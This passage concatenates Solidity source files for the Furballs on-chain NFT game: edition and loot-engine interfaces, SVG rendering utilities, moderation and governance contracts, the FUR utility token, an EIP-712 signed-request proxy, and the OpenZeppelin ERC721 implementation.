current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../utils/FurLib.sol"; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /// @title IFurballEdition /// @author LFG Gaming LLC /// @notice Interface for a single edition within Furballs interface IFurballEdition is IERC165 { function index() external view returns(uint8); function count() external view returns(uint16); function maxCount() external view returns (uint16); // total max count in this edition function addCount(address to, uint16 amount) external returns(bool); function liveAt() external view returns(uint64); function minted(address addr) external view returns(uint16); function maxMintable(address addr) external view returns(uint16); function maxAdoptable() external view returns (uint16); // how many can be adopted, out of the max? function purchaseFur() external view returns(uint256); // amount of FUR for buying function spawn() external returns (uint256, uint16); /// @notice Calculates the effects of the loot in a Furball's inventory function modifyReward( FurLib.RewardModifiers memory modifiers, uint256 tokenId ) external view returns(FurLib.RewardModifiers memory); /// @notice Renders a JSON object for tokenURI function tokenMetadata( bytes memory attributes, uint256 tokenId, uint256 number ) external view returns(bytes memory); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "../editions/IFurballEdition.sol"; import "../utils/FurLib.sol"; import "./Zones.sol"; import "./SnackShop.sol"; /// @title ILootEngine /// @author LFG Gaming LLC /// @notice The loot engine is patchable by replacing the Furballs' engine with a new version interface ILootEngine is IERC165 { function snacks() external view returns(SnackShop); function zones() external view returns(Zones); function l2Proxy() external view returns(address); /// @notice When a Furball comes back from exploration, potentially give it some loot. function dropLoot(uint32 intervals, FurLib.RewardModifiers memory mods) external returns(uint128); /// @notice Players can pay to re-roll their loot drop on a Furball function upgradeLoot( FurLib.RewardModifiers memory modifiers, address owner, uint128 lootId, uint8 chances ) external returns(uint128); /// @notice Some zones may have preconditions function enterZone(uint256 tokenId, uint32 zone, uint256[] memory team) external returns(uint256); /// @notice Calculates the effects of the loot in a Furball's inventory function modifyReward( FurLib.Furball memory furball, FurLib.RewardModifiers memory baseModifiers, FurLib.Account memory account, bool contextual ) external view returns(FurLib.RewardModifiers memory); /// @notice Loot can have different weight to help prevent over-powering a furball function weightOf(uint128 lootId) external pure returns (uint16); /// @notice JSON object for displaying metadata on OpenSea, etc. function attributesMetadata(uint256 tokenId) external view returns(bytes memory); /// @notice Get a potential snack for the furball by its ID function getSnack(uint32 snack) external view returns(FurLib.Snack memory); /// @notice Proxy registries are allowed to act as 3rd party trading platforms function canProxyTrades(address owner, address operator) external view returns(bool); /// @notice Authorization mechanics are upgradeable to account for security patches function approveSender(address sender) external view returns(uint); /// @notice Called when a Furball is traded to update delegate logic function onTrade( FurLib.Furball memory furball, address from, address to ) external; /// @notice Handles experience gain during collection function onExperience( FurLib.Furball memory furball, address owner, uint32 experience ) external returns(uint32 totalExp, uint16 level); /// @notice Gets called at the beginning of token render; could add underlaid artwork function render(uint256 tokenId) external view returns(string memory); /// @notice The loot engine can add descriptions to furballs metadata function furballDescription(uint256 tokenId) external view returns (string memory); /// @notice Instant snack + move to new zone function snackAndMove(FurLib.SnackMove[] calldata snackMoves, uint32 zone, address from) external; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./LootEngine.sol"; /// @title EngineA /// @author LFG Gaming LLC /// @notice Concrete implementation of LootEngine contract EngineA is LootEngine { constructor(address furballs, address snacksAddr, address zonesAddr, address tradeProxy, address companyProxy ) LootEngine(furballs, snacksAddr, zonesAddr, tradeProxy, companyProxy) { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title FurLib /// @author LFG Gaming LLC /// @notice Public utility library around game-specific equations and constants library FurDefs { function rarityName(uint8 rarity) internal pure returns(string memory) { if (rarity == 0) return "Common"; if (rarity == 1) return "Elite"; if (rarity == 2) return "Mythic"; if (rarity == 3) return "Legendary"; return "Ultimate"; } function raritySuffix(uint8 rarity) internal pure returns(string memory) { return rarity == 0 ? "" : string(abi.encodePacked(" (", rarityName(rarity), ")")); } function renderPoints(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 cnt = uint8(data[ptr]); ptr++; bytes memory points = ""; for (uint256 i=0; i<cnt; i++) { uint16 x = uint8(data[ptr]) * 256 + uint8(data[ptr + 1]); uint16 y = uint8(data[ptr + 2]) * 256 + uint8(data[ptr + 3]); points = abi.encodePacked(points, FurLib.uint2str(x), ',', FurLib.uint2str(y), i == (cnt - 1) ? '': ' '); ptr += 4; } return (ptr, abi.encodePacked('points="', points, '" ')); } function renderTransform(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 len = uint8(data[ptr]); ptr++; bytes memory points = ""; for (uint256 i=0; i<len; i++) { bytes memory point = ""; (ptr, point) = unpackFloat(ptr, data); points = i == (len - 1) ? abi.encodePacked(points, point) : abi.encodePacked(points, point, ' '); } return (ptr, abi.encodePacked('transform="matrix(', points, ')" ')); } function renderDisplay(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { string[2] memory vals = ['inline', 'none']; return (ptr + 1, abi.encodePacked('display="', vals[uint8(data[ptr])], '" ')); } function renderFloat(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 propType = uint8(data[ptr]); string[2] memory floatMap = ['opacity', 'offset']; bytes memory floatVal = ""; (ptr, floatVal) = unpackFloat(ptr + 1, data); return (ptr, abi.encodePacked(floatMap[propType], '="', floatVal,'" ')); } function unpackFloat(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { uint8 decimals = uint8(data[ptr]); ptr++; if (decimals == 0) return (ptr, '0'); uint8 hi = decimals / 16; uint16 wholeNum = 0; decimals = decimals % 16; if (hi >= 10) { wholeNum = uint16(uint8(data[ptr]) * 256 + uint8(data[ptr + 1])); ptr += 2; } else if (hi >= 8) { wholeNum = uint16(uint8(data[ptr])); ptr++; } if (decimals == 0) return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum))); bytes memory remainder = new bytes(decimals); for (uint8 d=0; d<decimals; d+=2) { remainder[d] = bytes1(48 + uint8(data[ptr] >> 4)); if ((d + 1) < decimals) { remainder[d+1] = bytes1(48 + uint8(data[ptr] & 0x0f)); } ptr++; } return (ptr, abi.encodePacked(hi % 2 == 1 ? '-' : '', FurLib.uint2str(wholeNum), '.', remainder)); } function renderInt(uint64 ptr, bytes memory data) internal pure returns (uint64, bytes memory) { uint8 propType = uint8(data[ptr]); string[13] memory intMap = ['cx', 'cy', 'x', 'x1', 'x2', 'y', 'y1', 'y2', 'r', 'rx', 'ry', 'width', 'height']; uint16 val = uint16(uint8(data[ptr + 1]) * 256) + uint8(data[ptr + 2]); if (val >= 0x8000) { return (ptr + 3, abi.encodePacked(intMap[propType], '="-', FurLib.uint2str(uint32(0x10000 - val)),'" ')); } return (ptr + 3, abi.encodePacked(intMap[propType], '="', FurLib.uint2str(val),'" ')); } function renderStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { string[4] memory strMap = ['id', 'enable-background', 'gradientUnits', 'gradientTransform']; uint8 t = uint8(data[ptr]); require(t < 4, 'STR'); bytes memory str = ""; (ptr, str) = unpackStr(ptr + 1, data); return (ptr, abi.encodePacked(strMap[t], '="', str, '" ')); } function unpackStr(uint64 ptr, bytes memory data) internal pure returns(uint64, bytes memory) { uint8 len = uint8(data[ptr]); bytes memory str = bytes(new string(len)); for (uint8 i=0; i<len; i++) { str[i] = data[ptr + 1 + i]; } return (ptr + 1 + len, str); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; /// @title Moderated /// @author LFG Gaming LLC /// @notice Administration & moderation permissions utilities abstract contract Moderated is Ownable { mapping (address => bool) public admins; mapping (address => bool) public moderators; function setAdmin(address addr, bool set) external onlyOwner { require(addr != address(0)); admins[addr] = set; } /// @notice Moderated ownables may not be renounced (only transferred) function renounceOwnership() public override onlyOwner { require(false, 'OWN'); } function setModerator(address mod, bool set) external onlyAdmin { require(mod != address(0)); moderators[mod] = set; } function isAdmin(address addr) public virtual view returns(bool) { return owner() == addr || admins[addr]; } function isModerator(address addr) public virtual view returns(bool) { return isAdmin(addr) || moderators[addr]; } modifier onlyModerators() { require(isModerator(msg.sender), 'MOD'); _; } modifier onlyAdmin() { require(isAdmin(msg.sender), 'ADMIN'); _; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./Stakeholders.sol"; import "./Community.sol"; import "./FurLib.sol"; /// @title Governance /// @author LFG Gaming LLC /// @notice Meta-tracker for Furballs; looks at the ecosystem (metadata, wallet counts, etc.) /// @dev Shares is an ERC20; stakeholders is a payable contract Governance is Stakeholders { /// @notice Where transaction fees are deposited address payable public treasury; /// @notice How much is the transaction fee, in basis points? uint16 public transactionFee = 250; /// @notice Used in contractURI for Furballs itself. string public metaName = "Furballs.com (Official)"; /// @notice Used in contractURI for Furballs itself. string public metaDescription = "Furballs are entirely on-chain, with a full interactive gameplay experience at Furballs.com. " "There are 88 billion+ possible furball combinations in the first edition, each with their own special abilities" "... but only thousands minted per edition. Each edition has new artwork, game modes, and surprises."; // Tracks the MAX which are ever owned by a given address. mapping(address => FurLib.Account) private _account; // List of all addresses which have ever owned a furball. address[] public accounts; Community public community; constructor(address furballsAddress) Stakeholders(furballsAddress) { treasury = payable(this); } /// @notice Generic form of contractURI for on-chain packing. /// @dev Proxied from Furballs, but not called contractURI so as to not imply this ERC20 is tradeable. function metaURI() public view returns(string memory) { return string(abi.encodePacked("data:application/json;base64,", FurLib.encode(abi.encodePacked( '{"name": "', metaName,'", "description": "', metaDescription,'"', ', "external_link": "https://furballs.com"', ', "image": "https://furballs.com/images/pfp.png"', ', "seller_fee_basis_points": ', FurLib.uint2str(transactionFee), ', "fee_recipient": "0x', FurLib.bytesHex(abi.encodePacked(treasury)), '"}' )))); } /// @notice total count of accounts function numAccounts() external view returns(uint256) { return accounts.length; } /// @notice Update metadata for main contractURI function setMeta(string memory nameVal, string memory descVal) external gameAdmin { metaName = nameVal; metaDescription = descVal; } /// @notice The transaction fee can be adjusted function setTransactionFee(uint16 basisPoints) external gameAdmin { transactionFee = basisPoints; } /// @notice The treasury can be changed in only rare circumstances. function setTreasury(address treasuryAddress) external onlyOwner { treasury = payable(treasuryAddress); } /// @notice The treasury can be changed in only rare circumstances. function setCommunity(address communityAddress) external onlyOwner { community = Community(communityAddress); } /// @notice public accessor updates permissions function getAccount(address addr) external view returns (FurLib.Account memory) { FurLib.Account memory acc = _account[addr]; acc.permissions = _userPermissions(addr); return acc; } /// @notice Public function allowing manual update of standings function updateStandings(address[] memory addrs) public { for (uint32 i=0; i<addrs.length; i++) { _updateStanding(addrs[i]); } } /// @notice Moderators may assign reputation to accounts function setReputation(address addr, uint16 rep) external gameModerators { _account[addr].reputation = rep; } /// @notice Tracks the max level an account has *obtained* function updateMaxLevel(address addr, uint16 level) external gameAdmin { if (_account[addr].maxLevel >= level) return; _account[addr].maxLevel = level; _updateStanding(addr); } /// @notice Recompute max stats for the account. function updateAccount(address addr, uint256 numFurballs) external gameAdmin { FurLib.Account memory acc = _account[addr]; // Recompute account permissions for internal rewards uint8 permissions = _userPermissions(addr); if (permissions != acc.permissions) _account[addr].permissions = permissions; // New account created? if (acc.created == 0) _account[addr].created = uint64(block.timestamp); if (acc.numFurballs != numFurballs) _account[addr].numFurballs = uint32(numFurballs); // New max furballs? if (numFurballs > acc.maxFurballs) { if (acc.maxFurballs == 0) accounts.push(addr); _account[addr].maxFurballs = uint32(numFurballs); } _updateStanding(addr); } /// @notice Re-computes the account's standing function _updateStanding(address addr) internal { uint256 standing = 0; FurLib.Account memory acc = _account[addr]; if (address(community) != address(0)) { // If community is patched in later... standing = community.update(acc, addr); } else { // Default computation of standing uint32 num = acc.numFurballs; if (num > 0) { standing = num * 10 + acc.maxLevel + acc.reputation; } } _account[addr].standing = uint16(standing); } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./Furballs.sol"; import "./editions/IFurballEdition.sol"; import "./utils/FurProxy.sol"; /// @title Fur /// @author LFG Gaming LLC /// @notice Utility token for in-game rewards in Furballs contract Fur is ERC20, FurProxy { // n.b., this contract has some unusual tight-coupling between FUR and Furballs // Simple reason: this contract had more space, and is the only other allowed to know about ownership // Thus it serves as a sort of shop meta-store for Furballs constructor(address furballsAddress) FurProxy(furballsAddress) ERC20("Fur", "FUR") { } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice FUR is a strict counter, with no decimals function decimals() public view virtual override returns (uint8) { return 0; } /// @notice Returns the snacks currently applied to a Furball function snacks(uint256 tokenId) external view returns(FurLib.Snack[] memory) { return furballs.engine().snacks().snacks(tokenId); } /// @notice Write-function to cleanup the snacks for a token (remove expired) /// @dev Since migrating to SnackShop, this function no longer writes; it matches snackEffects function cleanSnacks(uint256 tokenId) external view returns (uint256) { return furballs.engine().snacks().snackEffects(tokenId); } /// @notice The public accessor calculates the snack boosts function snackEffects(uint256 tokenId) external view returns(uint256) { return furballs.engine().snacks().snackEffects(tokenId); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice FUR can only be minted by furballs doing battle. function earn(address addr, uint256 amount) external gameModerators { if (amount == 0) return; _mint(addr, amount); } /// @notice FUR can be spent by Furballs, or by the LootEngine (shopping, in the future) function spend(address addr, uint256 amount) external gameModerators { _burn(addr, amount); } /// @notice Increases balance in bulk function gift(address[] calldata tos, uint256[] calldata amounts) external gameModerators { for (uint i=0; i<tos.length; i++) { _mint(tos[i], amounts[i]); } } /// @notice Pay any necessary fees to mint a furball /// @dev Delegated logic from Furballs; function purchaseMint( address from, uint8 permissions, address to, IFurballEdition edition ) external gameAdmin returns (bool) { require(edition.maxMintable(to) > 0, "LIVE"); uint32 cnt = edition.count(); uint32 adoptable = edition.maxAdoptable(); bool requiresPurchase = cnt >= adoptable; if (requiresPurchase) { // _gift will throw if cannot gift or cannot afford cost _gift(from, permissions, to, edition.purchaseFur()); } return requiresPurchase; } /// @notice Attempts to purchase an upgrade for a loot item /// @dev Delegated logic from Furballs function purchaseUpgrade( FurLib.RewardModifiers memory modifiers, address from, uint8 permissions, uint256 tokenId, uint128 lootId, uint8 chances ) external gameAdmin returns(uint128) { address owner = furballs.ownerOf(tokenId); // _gift will throw if cannot gift or cannot afford cost _gift(from, permissions, owner, 500 * uint256(chances)); return furballs.engine().upgradeLoot(modifiers, owner, lootId, chances); } /// @notice Attempts to purchase a snack using templates found in the engine /// @dev Delegated logic from Furballs function purchaseSnack( address from, uint8 permissions, uint256 tokenId, uint32 snackId, uint16 count ) external gameAdmin { FurLib.Snack memory snack = furballs.engine().getSnack(snackId); require(snack.count > 0, "COUNT"); require(snack.fed == 0, "FED"); // _gift will throw if cannot gift or cannot afford costQ _gift(from, permissions, furballs.ownerOf(tokenId), snack.furCost * count); furballs.engine().snacks().giveSnack(tokenId, snackId, count); } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice Enforces (requires) only admins/game may give gifts /// @param to Whom is this being sent to? /// @return If this is a gift or not. function _gift(address from, uint8 permissions, address to, uint256 furCost) internal returns(bool) { bool isGift = to != from; // Only admins or game engine can send gifts (to != self), which are always free. require(!isGift || permissions >= FurLib.PERMISSION_ADMIN, "GIFT"); if (!isGift && furCost > 0) { _burn(from, furCost); } return isGift; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./Furballs.sol"; import "./Fur.sol"; import "./utils/FurProxy.sol"; import "./engines/Zones.sol"; import "./engines/SnackShop.sol"; import "./utils/MetaData.sol"; import "./l2/L2Lib.sol"; import "./l2/Fuel.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; // import "hardhat/console.sol"; /// @title Furgreement /// @author LFG Gaming LLC /// @notice L2 proxy authority; has permissions to write to main contract(s) contract Furgreement is EIP712, FurProxy { // Tracker of wallet balances Fuel public fuel; // Simple, fast check for a single allowed proxy... address private _job; constructor( address furballsAddress, address fuelAddress ) EIP712("Furgreement", "1") FurProxy(furballsAddress) { fuel = Fuel(fuelAddress); _job = msg.sender; } /// @notice Player signs an EIP-712 authorizing the ticket (fuel) usage /// @dev furballMoves defines desinations (zone-moves) for playMany function runTimekeeper( uint64[] calldata furballMoves, L2Lib.TimekeeperRequest[] calldata tkRequests, bytes[] calldata signatures ) external allowedProxy { // While TK runs, numMovedFurballs are collected to move zones at the end uint8 numZones = uint8(furballMoves.length); uint256[][] memory tokenIds = new uint256[][](numZones); uint32[] memory zoneNums = new uint32[](numZones); uint32[] memory zoneCounts = new uint32[](numZones); for (uint i=0; i<numZones; i++) { tokenIds[i] = new uint256[](furballMoves[i] & 0xFF); zoneNums[i] = uint32(furballMoves[i] >> 8); zoneCounts[i] = 0; } // Validate & run TK on each request for (uint i=0; i<tkRequests.length; i++) { L2Lib.TimekeeperRequest memory tkRequest = tkRequests[i]; uint errorCode = _runTimekeeper(tkRequest, signatures[i]); require(errorCode == 0, errorCode == 0 ? "" : string(abi.encodePacked( FurLib.bytesHex(abi.encode(tkRequest.sender)), ":", FurLib.uint2str(errorCode) ))); // Each "round" in the request represents a Furball for (uint i=0; i<tkRequest.rounds.length; i++) { _resolveRound(tkRequest.rounds[i], tkRequest.sender); uint zi = tkRequest.rounds[i].zoneListNum; if (numZones == 0 || zi == 0) continue; zi = zi - 1; uint zc = zoneCounts[zi]; tokenIds[zi][zc] = tkRequest.rounds[i].tokenId; zoneCounts[zi] = uint32(zc + 1); } } // Finally, move furballs. for (uint i=0; i<numZones; i++) { uint32 zoneNum = zoneNums[i]; if (zoneNum == 0 || zoneNum == 0x10000) { furballs.playMany(tokenIds[i], zoneNum, address(this)); } else { furballs.engine().zones().overrideZone(tokenIds[i], zoneNum); } } } /// @notice Public validation function can check that the signature was valid ahead of time function validateTimekeeper( L2Lib.TimekeeperRequest memory tkRequest, bytes memory signature ) public view returns (uint) { return _validateTimekeeper(tkRequest, signature); } /// @notice Single Timekeeper run for one player; validates EIP-712 request function _runTimekeeper( L2Lib.TimekeeperRequest memory tkRequest, bytes memory signature ) internal returns (uint) { // Check the EIP-712 signature. uint errorCode = _validateTimekeeper(tkRequest, signature); if (errorCode != 0) return errorCode; // Burn tickets, etc. if (tkRequest.tickets > 0) fuel.burn(tkRequest.sender, tkRequest.tickets); // Earn FUR (must be at least the amount approved by player) require(tkRequest.furReal >= tkRequest.furGained, "FUR"); if (tkRequest.furReal > 0) { furballs.fur().earn(tkRequest.sender, tkRequest.furReal); } // Spend FUR (everything approved by player) if (tkRequest.furSpent > 0) { // Spend the FUR required for these actions furballs.fur().spend(tkRequest.sender, tkRequest.furSpent); } // Mint new furballs from an edition if (tkRequest.mintCount > 0) { // Edition is one-indexed, to allow for null address[] memory to = new address[](tkRequest.mintCount); for (uint i=0; i<tkRequest.mintCount; i++) { to[i] = tkRequest.sender; } // "Gift" the mint (FUR purchase should have been done above) furballs.mint(to, tkRequest.mintEdition, address(this)); } return 0; // no error } /// @notice Validate a timekeeper request function _validateTimekeeper( L2Lib.TimekeeperRequest memory tkRequest, bytes memory signature ) internal view returns (uint) { bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( keccak256("TimekeeperRequest(address sender,uint32 fuel,uint32 fur_gained,uint32 fur_spent,uint8 mint_edition,uint8 mint_count,uint64 deadline)"), tkRequest.sender, tkRequest.tickets, tkRequest.furGained, tkRequest.furSpent, tkRequest.mintEdition, tkRequest.mintCount, tkRequest.deadline ))); address signer = ECDSA.recover(digest, signature); if (signer != tkRequest.sender) return 1; if (signer == address(0)) return 2; if (tkRequest.deadline != 0 && block.timestamp >= tkRequest.deadline) return 3; return 0; } /// @notice Give rewards/outcomes directly function _resolveRound(L2Lib.RoundResolution memory round, address sender) internal { if (round.expGained > 0) { // EXP gain (in explore mode) furballs.engine().zones().addExp(round.tokenId, round.expGained); } if (round.items.length != 0) { // First item is an optional drop if (round.items[0] != 0) furballs.drop(round.tokenId, round.items[0], 1); // Other items are pickups for (uint j=1; j<round.items.length; j++) { furballs.pickup(round.tokenId, round.items[j]); } } // Directly assign snacks... if (round.snackStacks.length > 0) { furballs.engine().snacks().giveSnacks(round.tokenId, round.snackStacks); } } /// @notice Proxy can be set to an arbitrary address to represent the allowed offline job function setJobAddress(address addr) external gameAdmin { _job = addr; } /// @notice Simple proxy allowed check modifier allowedProxy() { require(msg.sender == _job || furballs.isAdmin(msg.sender), "FPRXY"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token 